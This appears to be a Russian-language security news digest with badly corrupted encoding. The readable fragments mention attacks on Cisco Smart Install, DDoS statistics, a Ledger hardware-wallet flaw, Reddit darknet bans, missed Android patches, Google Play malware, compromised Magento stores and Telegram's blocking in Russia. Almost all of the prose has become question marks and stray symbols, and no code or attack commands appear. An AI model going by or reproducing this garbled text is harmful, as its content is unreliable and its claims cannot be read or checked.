XE燬oftware.�???�???�??�???�8�??�?�?�??�?燙VSS.
???�??????� ???�???� ?� ?????�??�???� ??????�???� ???????� ?� ???�???� Cisco
Smart營nstall�(SMI).�??�??�??�????�???燙isco�??�????�???�??�?�??�????�
?????�???�???,�????�???�???�???�?????�?�?�???�?�??�????�???�???,
??�爌roof?of?concept�??�??�?.�??�??�??�??�??�???�???�???�??�????�?
???�????�?�???�???�?�燭CP????�?�86,�??????�?????�?�???�????,�??
?� ???�?� ???�??� ???�????� ???�?????�?� Cisco� ?????� ????�??� ???????�??????�
?????�??燫CE????�?.
???�?� ????,� ??????�?� Cisco� Talos� ????�?????�?� ???�??�????�??,� ???�?
???�??�??� ?� SMI,� ????�?� ??� ???�???� ????�????� ?� ???�???�??� ???�????�?.
???�?????�?� ???�??�????�?,� ???� ???�?????�????�??� ??????� ???�???� ????�
??????�?� ????�?????�????�??� ??????�???� Cisco.� ??� ???�??� ???�????,
????�??�??�???�????�??�?�????�???�??�????燬mart營nstall�??�???�????�
???,� ?� ??????�???� ????� ??????�???� ???�???�?� ???????�?� ?� ??????� ???�????
?????� ??????� ??� ????�??�?� ?� ???�?????�??.� ???,� ???�????� ???�???�????,
????�?????� ????�?????� ???�?????�?� ?� ?????�???� ???�???� 4786,� ????????
???� ?� ???�???� 2017� ????,� ????�???????� ?� ???????� 2017???,� ?� ?????� ??????�
????????�??????�??�??.
?�??�???�?,�??�???�?燙isco燭alos�??�?????�?�????�??� ???�??�?????�
???燯S?CERT,��??????�???�?????,�??�??�??�??��??�??�??�?�???�???
????????�?,�????�???�??�?????�?�??�???燚ragon?y,燙rouching燳eti�燛n?
ergetic燘ear,�???�???�??�?????�??�???�??�????�?????????�???�??.
???�??�?????,�????????�?�??�??�????�?�?�???�????� ???�??�?�??.
?????�???� ????�?,� ????� ??� ???�?� ??????�???� ????� JHT,� ???�???�?� ???�????
??????�???� Cisco,� ???�?????�??� ????� ???�??� ??� ???�?� ?� ???�??.� ????�?
??�??�??�?�??�???�????�???�???�??�????�??�?????�?牜??????�????
???�??�??�?�.
�????�???�????�?�?????�???�??�??????��???�????�??�??�???-�
??� Cisco� Smart� Install� Client,� ???�?� ????????� ???�???????� ?????????
???�?????�??� ???� ??� ??????�???.� ???�???�????�?� ??????�???�???
?????�??�???燙isco營OS��???�?�??�?????�???�??�???,�???????
?� ???� ???�????� ?Do� not� mess� with� our� elections?� (???� ???�????�???
?�???�??????)�,��???�???�??�???�?牜??????�????�??�??�??�?�
?� ???�????�??�???�?� ????� ???�?� ?????�????,� ???????� ???�?� ???-�
????�???.
Do爊ot爉ess爓ith爋ur爀lections
??�???�?� ????�?????�?,� ???� ???�?????� ??????�???� ???� ????�?� ???�????
?????�??�???�????燬hodan�??�???�???�???�??�??�???燙isco.�?�??�??
Cisco� Talos,� ?????� ????�??� ???�?� ????�?????� ?????� 168� ?????� ??????�??
?�???????燬MI,��???�??��??????�????��??�???�????�??�???�?????�
??�?�??�????.
??� ???�??� Reuters,� ????�???� ?????�???�??� ???????�???�?????�??????�
????�??�??�??????�??�?????�????�0�????�??�??�??�??�?�???�??????�
???�?�??�?�???,�?�??????�00�??????�?�?�??�??????�??�?.
???�????�??� ????�??� Vice� Motherboard� ?� ???�?� ???�???� ???�???�?
?�?????�?�?�??�??�???��?�???�???�?爀mail?????�?��?????�??�???�?
???�????.� ???�?????� ?????�??�?,� ???� �???�?� ??????� ???�???� ????�????�
?� ???�???�?� ???�??� ?� ????� ?� ?????� ??� ???�????�?????� ???�?� ??� ???�???
�??�?????�????�??� ???????粻 ????� ?????� (??� ???� ?� ??� ????�?).� ???�?� ????,
???�???�????�?� ?????�?,� ???� ???�???�???� ?� ???�??� ????�?,� ??� ?� ???
?� ???????�??????� ??????�?????� ?????�?� no� vstack,� ?????�??� Smart� Install
?�????�???�??�??????�????�??�????�??�?????�?.
???�??�??燚DOS????�?��???�???�??�??�???
??�???�?� �?????�????� ???�??�??�?粻 ???�??�???,� ???� ???�??� ?????� ???�????� ?� ???�??� ????�
?????�?�??�???燚DoS?????�??�??�?.�????�???�??�???�??�???�?�??�??�??��??�???�?
B2B� International,� ?� ?� ????�?� ???�???� ????�??� ?????� 5200� IT????�?????�??� ??� 29� ?????� ????,
????�??�??�??.
21%� ???�?????�??� ????�???,� ???� ??� ????�???�??� ??� ????� ???�??� ?????� DDoS????�?,� ??� ???
???�?�??�??�???.
???� ????� 34%� ???�????� ??� ???� ???� ??� ??????�???� ???????� ??????� ??� DDoS,� ??????� ???
??????�?,�??�??�?�???�???�???�???�???�??�??�???�????�??.
?� 2017� ????� 42%� ???�??�???� ???�????� ????�???????� ????�?� ?� DDoS????�???.� ?� 2016� ????
????�?????�???�??��??�???�???��%.
31%�???�??�??�??�???,�??燚DoS????�?�??�????�?,�??�?�???????�??�???�??�??�????�
?????� ???????�????� ???�????.� ???� 23%� ???�???,� ???� ???� ???�???� ???�????�??.� 19%� ????�
??????�??�?????�?,�??燚DoS�?????�???�?�??�????�????�??�????營T??????�?�??�??�???,
???????�??�????�?�?�??�????��??�?�??�?.
?????????
???????
????????燣EDGER
????�??�???� ???�????� Ledger,� ???�???�????� ????�???�??� ????�??�??
??????�?� ???� ???�????� ????�?????�?,� ????�?� ??????�??�???�?� ?????�??
???�??�????��??????�????�??�?�??�??�??.�???????牜????�????�?????�
???� ???????�??�,� ???????� ??????�???� ???�??�?� Ledger,� ???�?� ????�????�??
??????�?� ????�?????�??� ??� ???�????,� ???� ???� ??� ??????�?� ?????� ????
???????�???�?�???�???�??�??�??.
???�????燣edger�??�??�????�??????�?????�??�?�?????�??,�??
??�??�??????�????�?�??�????�???�??�???�?,�??�?????�????�?
?�????�??
?�15�???�???�??�???�?燣edger��??�?�????�??�?,�??�??�?????�?�?
???�?�???�?�??�?????�??�?????�???�???�??�??�?�???�??�??�??????�
???��???�?�??????�??,�?�???�??�??�???�??�?.��??�?��???�??�?????�
????� ????�???,� ???� ???????� Ledger� ???�?� ???� ???�????� ???�???�???� ????
??爀Bay.
??�???� ????�????� ?� ???�??� ???????�????� ???�??�??� Ledger� ??�?� ????�
?????�?� ???� ???�????� 15????�??� ???�??�???� ??� ???????�??????� ??� ???�?
?????� ?????� (Saleem� Rashid).� ?� ???�?� ???�??� ???�?� ?????� ????�??????
???�?????�?????�?,�??�????�??�??�??�???�??�?????�??燣edger燦ano燬
?燣edger燘lue.
??�????�???�??�??�??�?�??�?�??�???�???.
??�??�??�??��??�?????�??�????��?????爌roof?of?concept�??�??�?,�???�
?????�??� ???� ????�?????� ??� ??????�???� ???????�??� ???�??,� ???�???� ????�
??�0�???.�??�?�??�?�??????��???爀vil爉aid�牜????�??�?????�,�?�???
???�?????� ???�??� ?????� ????� ??� ???�??� ???????�??� ???�??� ?� ??????�???,
???�??�?????,�??�?????�????��?????.
???�?� ???�??�???�??� ?� ????�??�?� ???�???� ??????�???� ??????�???
???????�????�??�???�?�?????�??��??�??�??�???�?�?????�????�????�
???,� ???� ???� ?????�??� ???�????�?.� ?� ??????�???� ???�???�?????� ???�??
?????�???�????�??�??�??�???�????�??�??�????,��??�??�?�???�????�
??????�????�???�??????�??�??�??�?�???�???�??�????.
??�??� ????�????� ????�???� ???� ?� ????�?� 2017� ????� ?� ???�????� ?� ???
???�????�????.� ?� ???�?� 2018� ????� ???�????�???� Ledger� ?????�???� ????
???�?????燦ano燬.�??�???�????�??�?�??????�????燣edger�??�??�???,
???� ??????�?????� ????�???� ??� ????� ???�????�??,� ?� ???�?� ??� ???�?????
???????�??�??�??�??�?�??爏eed.
???�?�??�????�???�?????,�??�??�?�?????�??�?�??燣edger燘lue�???
????�??�??,� ??� ??????�?,� ???� ???�??� ??????� ????�???�???�?� ???� ???�???�
?????� ??????�??� Ledger� ?� ???�????� ???�????� (???� ???�????� ???�???�??
???�??????�??�??�??�?).�???�?�??�????�??�????�????�???�???,�????�
???????�??� ???� ???�?� ??????� ??????�????,� ???????,� ???� ????�??�???�?
Ledger�?�??�??�??�?.
??�??� ???�???�?,� ???� ???� ??� ???�????,� ???�??�???�?� ??� ???�??� ????
???燦ano燬�???�????�??�?�???�???,�?�?�??�???�???��??,�??�??�??
????�?� ?????� ????�???????� ???� ??????� ?� ???�??�????�?� ??????�???.� ????
?�??,�??�???�???,�?�???,�????�???�??�??�????�??.
???,� ??????�???� Ledger� Blue� ?� Nano� S� ????�???�?????� ???�????�????�
??????� ST31H320� ???�?????�??� ???�????� STMicroelectronics.� ????�?� ?� ??
???????� ??????�?� ???�???�??�?� ????�????�????�??� ???????�??,� ?� ????�
?????� ??????�?� ????� ???�?????� Secure� Element.� ??� ???????�??� ???�?????�
????�??� ??� ???�????�???� ???�???,� USB????�??�????� ?� ???�????,� ????�
??????� ???????� ???�??�???� ???�??�????.� ?????� ???�?� ????�???� ???�????
????� ?????�???� ????????� ??????�????� ???� ????� ???�????�???�??,
STM32F042K6,� ???????� ???�???�?� ???�??�?????� ????�?� ?� ?????� ???�????
MCU.
???�?�?????燤CU
MCU�??�??�??�???�??�??�??�??�??�?牜???????粻??????�?�燬ecure燛le?
ment,� ????�??� ?� USB????�??,� ?????�????� ???�??�?,� ?� ???�?� ????�???
??????�???.�??�??�?????�????�???燤CU�?????�??�?????燬ecure燛lement
????????,牜???�??粻???�??�?,�??�?�??�?�????�???�??�??�???�????�?
???�????�?燤CU�??�?�????�???�????�??�??�?????�??�??�??�????.
??�???�?????�??�??�???�????�???�????????�?,�??????�??�???????
?�?????�?�?????�?�????�???�???.�??,�??�??�??�???�????�??�?�???�
???�?????�???�?�??�????�???�???�(Matt燝reen)�????:
玔???�????�???]� Ledger� ????�???� ??????� ???�????�???�??� ????�??-�
???� ????�???.� ??� ???�?� ???�?????� ???�??�?,� ??????�???� ??� ???-�
???�???.�?�?�??????�??�??�??�??????�??�???�??,�??????�??
??�???�??�??�???.�????�?�??�????�???�??�???�??�??�??�??-�
???�?????� ????�???�??� ???!� ??� ???� ???�??�??� ????,� ???� ???� ???�??
???�??�??� ?????� ????????� ?� ?????�??????�???� ?????,� ?,� ???�???-�
????�?,� ???� ????�??� ????�?� ??????.� ???� ???� ???�?,� ???� ???�?????
??????�?,� ???????� ?????� ????� ????�????�??,� ???�??�?????� ???� ???-�
???��??�?????�??�???�??:�??�???,�??�??�????�?�??????�.
?� �?�???�??�????�???�?�?�??�???�?�??�??�??�?�?�????�?????�???�???�??�??�?
???�??????.� ????�?� ???�?� ??� ???�????�????�????� ?� ??????�??,� ???????� ????�??� ?????
?????�?.� ???� ????�?� ?????� ????�?� ??????�?� ???�???????� ???�??�????�?� ??????�???� ???�??
???????�?� ????�??,� ?????� ???�?� ????� ???�??� ???�???�???� ?� ?????� ?� ?????�?� ???�??� ?� ?????�
??????�??,�??????,�???�??�??�??�?????????.��?????�???�??�???�??�??�??�?????�??�???�
????�??�???�???�?�??�??????�????�?????�???�???�??�???�??????�???�??�???????�
?????�??�???,�??��????�??��????�
?�????�????��????�??�??�?????�???�??�???�???燭elegram��?????�?�??????�?
??????????? ??????
?
? �?????�?????
????????�???????
??燫EDDIT
???�?� ???�??�?????�??� ???????�??� ????�??�??�??� Reddit� ????�?� ?????�
?????�燾ontent爌olicy�????�?,�??�????�??�?????�?燫eddit�???�?,�??�???�
???��??�????�?�???????�???�?????�?��??�?????.�??�??�??�?????:
???�??,� ???�?????� (????�??� ????�???� ?� ?????),� ???�????� ???�??�??,� ???�??
???�??,� ????�????� ???????�?,� ?� ???�?� ????�??� ???�???,� ????�?????�???
???????�??�??�????�??�??�???.
???�??�????�??�???�??�???�???��???,�??�???�??�?????�?????�?
????�??�??� (???,� ???� ??� ??????�?� ?????,� ???�????�?),� ???�????�??� ????�
?????�??�??�??��??�??�?:�/r/DarkNetMarkets,爎/xanaxcartel,爎/DNMSuperlist
?爎/HiddenService.
???�?� ????�???,� ???� ????�??�??� DarkNetMarkets� ????�?� ??????�?� ???�?
???�??� ?,� ?� ???�????,� ????� ?????� ??� ????�??�??� ?� ???????�?� ????� ???�?
???�????�?????,� ???????� ?� ???�??� ?????�???�????�??,� ?� ???�?� ??� ???�????.
????�?� ?????� ???�?� ???�??????� ?????� ?????�???� ???�??�???�??,� ???� Silk
Road� ?� Alphabay,� ???�?????�?????� ???�??� ???????�??,� ????�?????�?
????????�??�????��??,�???�?????�????�??�??�????,��??�???�???�?
???�?�??�???�??�??????.�????�?�??????�?牜?????�,�????�??�??�????�
???�??�??????��??�????�??�???�?.
??�?� ??� Reddit� ???� ??????�?� ???� ?????� ????�????,� ???�????�??� ????�
????????�??�???�??,�???�?�??�??�??�????�??�?��?????�???�??�???�
???�??�?�????�??�?????�???�?�??�??�??�???�????�?????�??.
???�????�??�????�????�???�??�??�???
???�?????�?牜??????�????�??�??�??�?粻???�?????�?�??�??,�???�?????�??燤ining爄s爐he爊ew
black� (�??�???� ?� ???� ??????�),� ???�????�??� ???�????� ???????�????� ???�??�????� ???�???
???�?� ????�????�??.� ????�?????�?� ???� ????� ???�????�?� ???�??�?� ???�????�?� ?� ?????�??�?
????�??�??�?�???�??????,�??�??�??�???�??,�??????�??????�?????�???�?�???�????�???
???�???�???�?????�??�????�??�??�??�?????.
?� 2017� ????� ???�??� ???�????� ???�??�????� 2� 700� 000� ???�????� ????�?????�??.� ???� ???�?
??�%�???�?,�??��16�???�(1�0�0�???�?????�??).
???� ????� 80%� ????�????�??� ??????�???� ???????�??� ????�??�???� ???�???� ?� ????�???�?
????�???�????�???�??�??�????�????.�???�??�?�??�???�????�?�???�?????�?�???????
?燦anopool.
??� ???�??� ???�???�??,� ????�?� ??� ???�?????� ?????� ???????� 2017� ????� ????�????�?� �??????�
????粻 ?????� ????�??� ???�???�?� ???�?????� ???�????.� ???�???,� ??� ????,� ????�?� ??� ???�?
??????�???�??�?�?��??�?�??�??�??????�?�?????�????.
???,�??�?????�??�?????�?�??�???,�??�???�??�?,��???�????�?�?????�?�?�??�??
?????.� ?� ???�??� ?� ???�????� ???�???� ???�?� ??????�?� ???�???,� ??????�???� ???�????� CPU
???� GPU� ???�??� ???� �?????粻 ????�?????�?,� ?� ????�????�?� ??????�?� ???�???.� ?� ?????�??
???�?� ???�???�????�??� ????�???� ????� ???�???�?????�?� ????�???� ???????�?,� ???�????�????
????�?????�?��????�???�?.
???�?�?????�????
?????,�??????�?
????
??�??�???� ?????????�?,� ???�?????�?� Security� Research� Labs� ???�???� ???
(Karsten� Nohl)� ?� ????� ????� (Jakob� Lell)� ????�??�???� ????�??�??� ???�??
??� ???�????�??� Hack� In� The� Box.� ?????�???�???� ??�?????�?,� ???� ???�??
????�??�??�???�???�?�?????�??�?燗ndroid,��??�??�?�??�????燬amsung,
Xiaomi,燨nePlus,燬ony,燞TC,燣G,燴TE�燞uawei,�???�??�???�????????�?????
???�??,�??�?�??�?�????�???�??�??�???�???�???�???�???�????�?.
????�???� ???????�??� Android???????�??� ????�?� ???�??� ?????� ?????.
?� ???�?????� ???�?� ???�????�???� Google� ???�??� ?????� ?????�???� ?????
???????�??� ???????�????� ???� ???�?� ??,� ?????� ???� ???�?� ??????�?� ?� ????
???�???�???�??� ???�????�?????� ??????�??,� ?� ??� ???�??� ?????�??????�?
????�???????� ???�?� ???� ???�?� ???�??�??� ?� ?????�?� ??� ??� ?????�??� ?????�
??????�??.� ?� ??????�??,� ????�????�??� ???�?� ???????�???� ??????,� ?� ????�
????� ??????�???� ????�??�?� ?� ???�?� ???�??�?????.� ?????� ???�?� ???�??
??????�???�?�?????�?�??�??�??????�??�??�?.
??�??�?,�??????�??�????�??????�??�?�????�???�???�?????�?
???� ?� ????,� ????�?,� ????�???�?,� ???� ?� ???� ????� ???�??????� ??????�?
??????�??� ?????� ??� ?????� ????� ???� ????.� ??� ???�???�??� ????� ???� ????�
??????�?� ???�???�?� ???�???�???�?� ???�??� ???????�??� ???????�????,
?????�?????� ????�??�???� ???�???�???�???� ??????�??� ??� ????� Android,
?�??�???�?�???????�?????,�??�??�??�?�00�???�??�??.
???� ??????�?� ?????�???�??,� ???�??� ???�???�???�?� ???�??� ??� ???�?
?????�?� ???????�??.� ????� ???� ?????�??�?,� ???� ??� ??????�???� ??????�?� ???
????�??�??� ???�?,� ???� ????,� ???� ???� ??????�??� ??????�????� ??� ????�??�???
???�????� �?????�?粻 ??� ????�??� ?� ?� ???�?� ????�?� ??� ???????� ??� ?????�
??????�??,� ?� ???� ??� ????� ??� ?????� ??????.� ??????�?� ???�???�?,� ???� ?????
??????�??�??�?�?�?????�?�???�?????�???燩ixel.
�???�?� ???� ??????� ????�?� ????�???� ????,� ??� ????�??�????� ???????
???�??.� ??????,� ????� ?� ???�????�?,� ???� ????�?� ???�??� ???�???
???????�??� ??� ???�?????�??� ????,� ???????� ???�????� ???�?� ???�?,� ?
???�??�???�?????�?.��?�???�???�?,�??�?????�??�??�???�???-�
??�?�???�???�?�?�??�???�??�?,�?�?????�???�?????�??????-�
???�?�??�???�??�??�??�??????�.
??�?�??�?�???�???�????�????�??�???�??�????�??.�??,�?�???�????�
???� ??????�??� Sony� ?� Samsung� ?????� ??� ???�???� ????� ????� ???????�??,� ???
?????�???�???�??�??�??�?????.�???�?��?????�??�??�???�??�????�?
?????�?�???.�??,�???�??�?燡3,�??????�??燬amsung��16�???,�??�??
?????�??�??????�??�??????�????�?�17�??,�?�?�????�???��??�??
??�??�???,�??�??�??�?????�????�??�????�??.
??�???�??�??�??�?�??�???
???� ????� ???� ?� ????� ???�???�?,� ???� ?????�??� �??????�??� ???�?????�
??�???�??????�??�??�????�?�??�???�???�?�??�????,��?�???�???�????�
????� ????�??�??.� ?� ???�???,� ???�????� Mediatek� ?????�??� �?????�?粻 ?� 9?
10�??�??,�??????�??????�??�?????�?�??�?�???�?????�??.
?�????�??�???�?燬ecurity燫esearch燣abs�???�?��??�?????�??????
????�?????�?�???�??�??�???�???�??:
? 0?1�??�????�??�???:燝oogle,燬ony,燬amsung,燱iko燤obile?
? 1?3�??�????�??�??�?:燲iaomi,燨nePlus,燦okia?
? 3?4�??�????�??�??�?:燞TC,燞uawei,燣G,燤otorola?
? 4��????�??�????�??�??�?:燭CL,燴TE.
???� ???�??�?� ??????�??� ??� ????�??� ????�??�?????� ???�??� ?????�???�???
???�???� ???�????�??� ???�???�??� ???�???�??� SnoopSnitch,� ???????� ????�
????�?�?????,�????�?????�????�?�????�???�???�??�???�?�?????�???.
7�0�0�??????�?????�?????�??�????�???�
????�?
???�???�?燛SET�???�???�?�燝oogle燩lay�??�?� 35�??�?????�??�???�??,�????�??????�??
???�???�???�?.�??�????�??�????�??�?????�??�?00�0�??????.�????�???�???�???�
???�????�?,�??�??�??�????�???�?????�??��??�????�??�??�?????�??�???�??�??�????�
??� ???�?????� ???�??�?� ???� ???????�????,� ??� ????� ????�????� ????�???�?� ?� ????????� ????
???�???�???�?�?????�?.
??�???牜???????�?�????�?????�??粻????�????�???�???�??�??�????�?��????�?,�??�???�
?????� ?� ???�???�??� ???�??� ???�???�???�?,� ?� ???�?????� ???�????�??� ??� ???�?� ????�??
????�???�??.� ???�????� ??� ???�?� ???�??�????�??�?� ???�?????�????,� ???�????� ???� ???�??
???�????�??� ???�?????�??,� ??� ????�?� ????�?????�??� ???�???� ???�???�???�??� ?� ???????
???�???,��??�?�??�???�???�?????�??�??�????�??????�????.
???燗NDROID�?
??????????????
???�????� Google� ??�???� ????�?????� ?????�?????�????�??� ??????�????
?�??�???��??�?�??�???�???��??�????.
??�?� ?� ???,� ???� ????????� ???� Android� Open� Source� Project� ???�???�??
?� ????�??�???,� ???�????�?� ??� ?????� ????�?????�?� ???� ????�???.� ????�?
???�???� ?� ???�????�??� ???�???�??� Google� (?????� ???� Play� Store,� Gmail,
Google� Maps)� �� ???�????粻 ??� ???�??� ?� ???�??�???� ??� ????�???.� Google
?????�???�?�??�??�???�??�??�??�???�???�??�?????�??,�??????,��???
???�???,� ?� ?????� ???�??� ?????�???� ???� ???�???�??� ???�????.� ?� ???�???�?,
???�?????� ?????�???� ???�???�??� ???� Android� ???�??� ???�??????�?� ????�?
???��??�?????,�??�???�??�???�???�??�???�???�????�??�???�???�???�
???????,��??�?�???�?????�???,�?�??????�??�???�??�???�??�???�???,
???�??�???�???�??�???�???�???�???�?�??�???�??��??�????�??�?.
???�???�???�?,� ???� ???�???� ??� ????�?� ?????� ???�?????�??,� ??� ???�?
???�?� ??????�?????� ???�????� ???�?� Android� ?,� ??� ????,� ??????�?� ?� ???�???
??燝oogle.�????�??�????�???�??�??�?????�???�??�?�??�???�??????�
????�??�????燗mazon�(?�??�???�?,�????燢indle燜ire).��???�?�???�????�
???�????�???�??�????�???�?????�?�?�???�??�??燗ndroid.
?� ????� ???�????�?� ???�???�??� Google� ?????� ???�??????�???�?� ????
?� ???�??�????�?????� ??� ??????�???� ????,� ???�?� �?� ?????�?�,� ???� ???�?
???�??�?� ???�????� ?� ????,� ??� ???�??�??� ???????,� ???�??� ???�?????� ????�
?????,� ?� ???�??�??� ??????�??� ???�???�??� ?� ???� ?????.� ?????� ????�??,
???� ???????� ?????� ????�???????� ?� ????� ???�???�?????,� ??� ???�??�??
�??�?????�??�,�????�???�?????�??�???�??燝oogle�?�???�??�??.
??� ???�??� ????�??� XDA� Developers,� ?� ??????�?� ???�?� 2018� ????� ????�
?????�???� Google� ??????� ??????�?� ?� ?????� ??????�???� ?????� ????????�?.
??????� ?????�?� ????�?????� ???�????�??� ???�???�??� Google� ??� ??????�
??????�????�??� ??????�???� ???�???�???�?� ????�??.� Google� ???�????
??�??�???�?�?????�???�?��???�??�???�?�??�?�???�??�?,�???�??,�??
???�??�?????�???�?�??�???�?�??�?????�??.
?????�??�??�??�????�??�?燝oogle
??�???�??� ???????� ????�???� ????�?????�?� ????�???�?� ???�???� ?� ?� ????�
?????,�?????�?�??�?�???�???�???�???????�?�??�???�???�?.�???�??,
???� ???�?� ???�???� ??� ?????�??�??� ????,� ?� ?????� ????� ????�????� ???� ??
????� ?????� ???� ????�?????�??� ???�?????� Android????�????.� Google� ?????�
????�?�??????�??�?????�????�?????�???�?�???�?爂.co/androiddeviceregis?
tration,�??�????�?��??�??�???�???燝oogle.�???�?,�??�??�?�??�???�???
????�?� ???�???�??� ????�?????�??� (Android� ID)� ???�???,� ???,� ?� ??????�??,
?????� ?????� ????�????� ???� ?????�????�?????� ????�?????�??.� Android� ID
????�??�???�???�??�??�??�????�?�?????�???�(?�?????�???�?�?????�???�
??�???�?��????�???�??�???�??),�???�???�??��??�???�??????�??�(hex)
????,��??�???�??�??�?�???�??�?????�??�????�??�??�??.
???�????�???�????�????�????�??�???,�??�???�??燝oogle�??�????�
??� ???????�??�?????� ???�????� 100� ??????�??� ??� ????�?� ????�?????�?.� ??
????� ??????�?� ?????�????�???????,� ??????� ???�??�?� ?� ??????�???� ?????
?????????� ????� ?????� ?� ?� ???�?� ????�??�?� ???� ???�????�??� ???�???�??
Google.
??�??�00�??�??�?燤AGENTO�???�???
?�?????�?
???�?????�?� Flashpoint� ???�??�?????� ?� ???�??�???�??� ?????� 1000� ???�??,� ??????�???
???�??????�???燤agento.�??�???�????�?�?�???�?�?????�?�??�??��??�??�???�??�??
????�?????�??� ????� ?????�??,� ??� ?� ??????�?� ???�?� ???�????�???� ?????�???,� ?� ???� ???�?
???�??�??�?�???�?????�?,�??�?????�???�??�?�??�??�????�??�??�??�???�??.
???�????� ?????� ?� ???�?� ??� ?????�???� ??????????� ???�????�?� ?� ???????�??� ???????
???� ????�???�??� ???�?????.� ????�??� ?????� ?????�??� ????�???� ???�???�???� ????�???� ?????�
?????,�?�???�???�????�?�??�?????�???�??�??�??��???�????�???�??�??�????,�??????�
???� ?????�??� ???�??????�??�??� ??????�??� ?� ???�??????� ??� ????�????.� ??????� Magento,
???????�??�??�??�????�???燩owerfront CMS�燨penCart.
HEADER
?????牜Mifrill粻????????
nefedova@glc.ru
????????????
VTELEGRAM
S
???????�?????
??????????????
???�????�?????� ???�?????�???� ?� ???�??�??�?� Telegram,
???????� ??????� ???� ?� ????�??� ????,� ???�??�???�?.� ????
?� 16� ????�?� 2018� ????� ???�?????�??� ?????� ????�???�???
???�??��??�??�??�?�?�??�??????�??�??,�??�???�????�
???� ????�?????�??� Telegram� ???????�???� ???�????
???�?????�??????燰PN��???�?,�???�???�?�??�???��???�
???�????�??��??�????.�??�????�??�???�??�??�??�?.
???�??????????
13�???�?�18�???��????�???�???�?????�??�??�??�??????�??�????
????��??�????�?燭elegram.�??� ???�????,�??�???�?????�???�?????�????�
????�??�??�???��??�??�??�?�?�??�??????�??�??,�??�??�????�??�???�
???�?,� ???� ???????� ???�????� ?????�????�?� ???????�??.� ?� ????????�???,
16�???�?�18�???,�??�?????�??� ??�??�????�?�??�???�???�?????�???�
???�??�?.� ????�?� ????�?� ???�???� ??????� ???�?� ??????� ????� ????????�?
Telegram�??????�???�??�????�??�?????�??????燰PN��???�?,�???�????�
??�??�???��??�??�????�??��??�????.
??????? ???????????
???�????�?????�??�????燭elegram燤essenger燣LP��??�??�??�?�??�?????�
??� ????�???� ????????� ???� ?� ????�??� ????.� ?????�?,� ???� Telegram� ???
???????�??�????� ?� ????�??� ????�???�????� ???�??????�????� ???????�??
?????�17�???�(???�?�??�??�?????�???�???�???),�?�??�?�????�????
???�????�??,� ???� ???�????� ???� ?????� ??� ?????� ??� ????� ???????� ??????�
??????�??� ???�?????�??� ?� ??� ??????�???� ???�??�??????� ?????????� ???�??
?�??????�?�???�?????�??.
?�??�?��??????�17�???�??????�????�????�??�?�??�??�??�??
????� ??????�??� ??�??�???�?� ???�??�???� Telegram� ??� 800� 000� ???�??
??� ?????�????� ????�??�??�??�???� ???�???�???�??:� ?????� ????????� ???
???�?� ???�??????� ??� ???????�?� ????�?????�??.� 800� 000� ???�??� ?
???� ????????�??� ??????�??,� ???�??�?????�??� ?� ??????� 13.31� (?????� 2.1)
????� ??� (????�????�??� ????�???�????� ???�??????�????� ???????�??
?� ????� �???????粻 ???�??�????� ???�??�??????� ?� ????????�??� ?????
???????�???�??� ????�?� ?� ???????� ????�??????� ???????�????� ???????�??,
????�??????� ???� ??????�???�??� ???�???�???,� ??????�?????,� ???�?????�
????��(???)�???�???�?????�???�???�??�???�????).
???�?� ???�?� Telegram� Messenger� LLP� ??????�???� ???�??�???� ????�??
???�??????�??� ???�???�??�??� ????�?� �??�?粻 ?� ????�?????� ?� ???� ?� ????�
????�???�???�???�??????�??�??�??�??�?��???�16�???��2�(??
?????�??�??� ?????�?� ????�???�????� ????�???�???�?� ???�??????�????
???????�??� ?� ???????�???�?????????�?????�???�??� ????� �???????�
?� ????????�??� ????�?� ???????�????� ???�??�???� ??????�??� ???????�??,
????�??????� ???� ??????�???�??� ???�???�???,� ??????�?????,� ???�?????�
????� ?� (???)� ????�???�?????� ????�???�??� ????�????� ????�?????�??
???????�???�?????????�?????�???�??�???牜????????�).
???�????� ??????�???� ????????,� ???� ???�??� ???�??� ???�???�????� ??????
??�??????�??,�?????��??,��??�?�??�??�??�?????�??????�??�????�
???� ?� ???�???�???� ???�??????.� 20� ???�?� 2018� ????� Telegram� ???�???�?
????� ???�???,� ???�?� ????� ????�??�???�?� ???�?????�???� ????�?????� ?� ???
?� ???�???�???� ?� ???�????�?.� ???� ???� ????� ???�???� ????,� 13� ?????�
??� 2018� ????� ?????�???� ???� ??????� ???�??� ???�??� ???????� ???�???�???
???�??�???,� ???�??� ?????� ???�???� ???�??�??�?,� ???� ???????� ???�????
?????�????�?�??????�??.
16� ????�?� ???�?????�??� ????�????� ?� ???�????� ???�????�??� IP?????�??
???�????� Amazon� ?� Google.� ?� ???�????,� ?� ?????� ???�???�??� ????� ????�
????????�?�?????,�????�?�??�?????�????�?????????????燴ello.�????�?,
???� ???�?� ???�????�???� Zello� ???�???�?� ?� ??????�??????� ?????� Amazon� Web
Service,� ???�???�?� ?????� ????�?,� ???�?� ????�???� ???�???�??.� ?� ???�?� ????�
??????�??� ?????� ???�???�???� ????�?� AWS,� ?� ????�??�???�?� Amazon� ????�
??????� Zello� ????�?????� ??????�?????� Amazon� AWS� ???� ?????�??� ????????�
???�?.
??�???� ?????� ???�????�??� ????????�?� Telegram� ???� ???�????�?� ??????
???�????� ????�??,� ???�??�??????� ???�???�?� Amazon,� Google,� Microsoft,
????�??�??�???????�??�????燚igital燨cean,燞etzner,燨VH��??�????�(??????�
??????� ???�????� ???�???�???� IP� ???�?� ??� ????� ???�?,� ???�?????� ????�????�
????).
??�?�??�????�??�????�?�??�?�?�??�???�???�?�?????燭elegram,�??
????�??�????�???�?�??�??�??�???�??�??�??�??�??,�??�??��??�????.
?� ???�???,� ????�????�?� ???�?� ???�?� ??????� ???�???�??� ?� Viber� ??�??�???
????????� ??????�??� ????�?.� ??� ????�??�???�?� ??????�???� ????�???,� ???
?????�??�??�???�??�???�???,�??�??�?????�???:
�??�?????�??�??�???�?��????�??�?????�??�???�??????�???
???�????�????�??????�???,��??�??�?�??�??�??��???�???�???
???�???� ?� ??????????????�??,� ???�???�??�???� ???�??�??�???�??
???�????�??�????燭elegram燤essenger燣imited燣iability燩artnership�,�
??�????��?????????�?�??�?????�???.
???�????????�?�??????????
???� ???�?????� ??????� ???�?????�??� ???�??�??� ???????� �??�?????粻 ????�
?????�?.��??�?,�?�??�??�?��???�?,�??�?????�??�???��?????�???�
?????�??� ???�??� ???�?� 18� ???�?????� IP?????�??,� ???�?� ???????� ?� ????????
??????� ???�???�?� ???????�??� ????�?????�??� Telegram� ?� ???�??� ?
??� ???????�??� ???�?� ??????,� ???�??�??�??� ?� ???�??� ????�???�?� ????�
??��??�?????�??????.
???�?� ??� ????????,� ???� ?????� ???�???�??� ???� �???�??粻 Amazon� ?� Google
